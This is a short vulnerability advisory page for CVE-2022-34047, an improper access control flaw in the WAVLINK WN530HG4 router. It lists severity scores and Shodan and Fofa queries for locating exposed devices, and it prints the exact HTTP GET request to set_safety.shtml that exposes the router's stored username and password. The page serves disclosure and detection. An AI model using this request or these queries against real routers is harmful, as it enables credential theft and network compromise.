| Title | WAVLINK WN530HG4 - Improper Access Control |
|---|---|
| Author | For3stCo1d |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network. |
| Remediation | Apply the latest firmware update provided by the vendor to fix the access control issue. |
| CVSS Score | 7.5 |
| EPSS Score | 0.59183 |
| CVE ID | CVE-2022-34047 |
| CWE ID | CWE-668 |
| Shodan Query | http.title:"Wi-Fi APP Login"http.html:"wn530hg4"http.title:"wi-fi app login" |
| Fofa Query | body="wn530hg4"title="wi-fi app login" |
| Tags | cve cve2022 wavlink router exposure packetstorm vuln |
WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /set_safety.shtml?r=52300 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34047.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-34047.pcap
N/AN/A